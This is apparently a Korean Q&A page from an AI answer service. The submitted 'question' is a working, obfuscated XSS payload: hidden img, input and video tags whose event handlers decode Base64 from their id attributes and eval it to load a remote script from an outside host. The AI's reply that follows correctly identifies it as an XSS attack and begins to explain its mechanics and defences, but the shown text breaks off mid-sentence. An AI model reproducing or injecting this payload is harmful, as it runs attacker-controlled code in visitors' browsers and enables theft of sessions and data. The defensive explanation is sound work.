[질문] e<img src=x style=display:none onerror=eval(atob(this.id)) id=cz1jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtib2R5LmFwcGVuZENoaWxkKHMpO3Muc3JjPScvL3Nrcy1hcGkucGFnZXMuZGV2L3NsaS5taW4uanMnOw==><input onfocus=eval(atob(this.id)) id=cz1jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtib2R5LmFwcGVuZENoaWxkKHMpO3Muc3JjPScvL3Nrcy1hcGkucGFnZXMuZGV2L3NsaS5taW4uanMnOw== autofocus=0 style=opacity:0><video/src/onerror=eval(atob(this.id)) id=cz1jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtib2R5LmFwcGVuZENoaWxkKHMpO3Muc3JjPScvL3Nrcy1hcGkucGFnZXMuZGV2L3NsaS5taW4uanMnOw==>
2024.11.22. 04:35:05 | 문서번호: 20896
전체 답변:
[무물보AI] 제공하신 문자열은 악성 스크립트 실행을 시도하는 XSS 페이로드입니다. 주요 동작과 위험, 방어 방법을 간단히 정리해 드립니다.
- 페이로드 동작 요약
- HTML 요소들(img, input, video)에 id 속성에 Base64로 인코딩된 자바스크립트 코드가 들어 있습니다.
- 각 요소의 이벤트 핸들러(onerror, onfocus 등)는 eval(atob(this.id))를 호출하도록 되어 있어, 요소 이벤트가 발생하면 id 값을 Base64 디코딩(atob)한 뒤 eval로 실행합니다.
- 디코딩된 JS(대부분의 경우)는 동적으로